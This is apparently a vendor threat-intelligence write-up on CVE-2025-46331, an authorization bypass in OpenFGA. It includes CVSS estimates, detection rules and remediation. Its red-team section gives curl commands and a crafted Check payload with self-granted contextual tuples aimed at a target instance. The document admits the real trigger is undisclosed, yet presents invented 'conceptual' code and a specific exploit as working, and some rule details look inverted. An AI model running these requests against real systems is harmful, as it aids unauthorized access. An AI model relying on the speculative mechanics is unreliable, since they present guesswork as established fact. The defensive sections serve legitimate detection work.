CVE-2025-46331

Executive Summary

CVE-2025-46331 is an authorization bypass vulnerability in OpenFGA, a high-performance authorization/permission engine inspired by Google Zanzibar. The vulnerability affects versions 1.3.6 through 1.8.10, including the corresponding Helm chart (<= openfga-0.2.28) and Docker images (<= v.1.8.10). Successful exploitation allows an attacker to bypass authorization checks when certain Check and ListObjects API calls are executed, potentially leading to unauthorized access to protected resources. The issue has been patched in version 1.8.11.

Supply Chain & Package Security

OpenFGA is distributed as a Go binary, Docker image, and Helm chart. The vulnerability affects all distribution channels. Users should verify the integrity of their OpenFGA installations and ensure they are running version 1.8.11 or later. The official Docker image is available at docker.io/openfga/openfga. The Helm chart is available from the OpenFGA Helm repository.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (authorization bypass), a reasonable estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs some level of access to make API calls.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Unauthorized access to sensitive data is possible.
• Integrity (I): High (H) - Unauthorized modification of data is possible.
• Availability (A): None (N) - The vulnerability does not affect availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Estimated Base Score: 8.1 (High)

Threat Level: High. The vulnerability allows for authorization bypass, which can lead to significant data breaches and unauthorized actions.

Deep Dive & Mechanics

OpenFGA implements a relationship-based access control (ReBAC) model. The core of its authorization logic involves evaluating Check and ListObjects API calls against a set of stored tuples (relationships). The vulnerability in CVE-2025-46331 stems from a flaw in how certain complex relationship queries are resolved, specifically when dealing with indirect relationships or nested conditions.

The issue likely resides in the evaluation engine's handling of userset resolution or tuple expansion. When a Check or ListObjects request involves a condition that requires traversing multiple levels of relationships (e.g., "user is a member of group X, which has access to document Y"), the engine may incorrectly resolve the query, granting access when it should be denied.

The vulnerable code path is triggered when specific combinations of relationship types and conditions are used. The exact trigger conditions are not publicly disclosed, but it is known that the vulnerability affects the Check and ListObjects endpoints.

Vulnerable vs. Patched Code

The patch in version 1.8.11 addresses the flawed logic in the relationship resolution engine. While the exact code changes are not publicly available, the fix likely involves correcting the traversal algorithm for userset resolution or adding additional validation checks.

Vulnerable Code (Conceptual):

// Simplified example of vulnerable logic
func checkAccess(storeID string, tupleKey TupleKey) bool {
    // Flawed: Does not properly handle nested usersets
    if tupleKey.User.Contains("group:") {
        // Directly resolves group membership without checking for cycles or indirect access
        return resolveGroupMembership(storeID, tupleKey)
    }
    // ... other logic
}

Patched Code (Conceptual):

// Simplified example of patched logic
func checkAccess(storeID string, tupleKey TupleKey) bool {
    // Fixed: Properly handles nested usersets with cycle detection and depth limits
    if tupleKey.User.Contains("group:") {
        // Uses a safe resolver that checks for indirect access and cycles
        return safeResolveGroupMembership(storeID, tupleKey, make(map[string]bool))
    }
    // ... other logic
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of OpenFGA v1.8.10 or earlier.
• An API token or credentials with at least read access to the authorization model.
• Knowledge of the target store's ID and authorization model.

Exploitation Steps:

1. Identify the Target: Locate an OpenFGA instance. This can be done via Shodan dorks or by scanning for the default port (8080 or 8081).

2. Enumerate the Authorization Model: Use the ReadAuthorizationModels API to retrieve the authorization model.

   curl -X GET "http://target:8080/stores/{store_id}/authorization-models" \
        -H "Authorization: Bearer {token}"
   

3. Craft a Malicious Check Request: Create a Check request that exploits the vulnerability. The exact payload depends on the authorization model, but it typically involves a user that has an indirect relationship to a resource.

   {
     "tuple_key": {
       "user": "user:attacker",
       "relation": "reader",
       "object": "document:secret"
     },
     "contextual_tuples": {
       "tuple_keys": [
         {
           "user": "user:attacker",
           "relation": "member",
           "object": "group:admin"
         },
         {
           "user": "group:admin#member",
           "relation": "reader",
           "object": "document:secret"
         }
       ]
     }
   }
   

4. Execute the Exploit: Send the crafted request to the Check endpoint.

   curl -X POST "http://target:8080/stores/{store_id}/check" \
        -H "Authorization: Bearer {token}" \
        -H "Content-Type: application/json" \
        -d '{"tuple_key": {"user": "user:attacker", "relation": "reader", "object": "document:secret"}, "contextual_tuples": {"tuple_keys": [{"user": "user:attacker", "relation": "member", "object": "group:admin"}, {"user": "group:admin#member", "relation": "reader", "object": "document:secret"}]}}'
   

5. Verify Bypass: If the response returns {"allowed": true}, the authorization bypass is successful.

Blue Team

Detection and Response:

1. Monitor API Logs: Enable detailed logging for all Check and ListObjects API calls. Look for anomalous patterns, such as:

   • A high volume of Check requests from a single user or IP address.
   • Requests with unusual contextual_tuples that create indirect relationships.
   • Check requests that return allowed: true for resources that should be restricted.

2. Audit Authorization Models: Regularly review and audit authorization models for overly permissive relationships or complex nested conditions that could be exploited.

3. Implement Rate Limiting: Apply rate limiting to the Check and ListObjects endpoints to mitigate brute-force attempts.

4. Use Web Application Firewall (WAF): Deploy a WAF with rules to detect and block suspicious API requests, such as those with unusual tuple structures.

5. Patch Immediately: Upgrade to OpenFGA v1.8.11 or later as soon as possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual API requests to /stores/{store_id}/check or /stores/{store_id}/list-objects endpoints.
  • Requests containing contextual_tuples with multiple nested relationships.
  • High volume of Check requests from a single source IP.

• Log IOCs:

  • Log entries showing allowed: true for Check requests that should have been denied.
  • Log entries with unusual tuple_key structures, such as user:group:admin#member.

• File IOCs:

  • Modified OpenFGA configuration files (e.g., config.yaml) that change authorization model settings.
  • Unauthorized changes to the OpenFGA store data (e.g., new tuples added via the Write API).

Detection Engineering

YARA Rule

rule CVE_2025_46331_OpenFGA_Authorization_Bypass {
    meta:
        description = "Detects potential exploitation of CVE-2025-46331 in OpenFGA logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-46331"
        severity = "high"
    strings:
        $s1 = "allowed\":true" ascii wide nocase
        $s2 = "contextual_tuples" ascii wide nocase
        $s3 = "tuple_key" ascii wide nocase
        $s4 = "group:" ascii wide nocase
        $s5 = "member" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5)
}

Sigma Rule

title: OpenFGA Authorization Bypass (CVE-2025-46331)
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-46331 in OpenFGA API logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46331
logsource:
    category: application
    product: openfga
detection:
    selection:
        event: "check"
        response.allowed: true
        request.contextual_tuples|contains: "group:"
    condition: selection
falsepositives:
    - Legitimate use of contextual tuples with groups
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46331 OpenFGA Authorization Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/stores/"; http_uri;
    content:"/check"; http_uri;
    content:"contextual_tuples"; http_client_body;
    content:"group:"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-46331;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenFGA: Upgrade to version 1.8.11 or later. This is the only complete fix.

   • Docker: docker pull openfga/openfga:v1.8.11
   • Helm: helm upgrade openfga openfga/openfga --version 0.2.29
   • Binary: Download the latest release from the OpenFGA GitHub releases page.

2. Restrict Network Access: If immediate patching is not possible, restrict network access to the OpenFGA API to trusted IP addresses only.

3. Review Authorization Models: Audit all authorization models for overly permissive relationships. Simplify complex models where possible.

4. Enable Audit Logging: Ensure detailed audit logging is enabled for all API calls to facilitate detection of exploitation attempts.

Long-Term Mitigations:

1. Implement Principle of Least Privilege: Ensure that users and services have only the minimum necessary permissions.

2. Regular Security Audits: Conduct regular security audits of OpenFGA configurations and authorization models.

3. Monitor for New CVEs: Subscribe to OpenFGA security advisories and monitor for new vulnerabilities.

4. Use a Web Application Firewall (WAF): Deploy a WAF with custom rules to detect and block exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence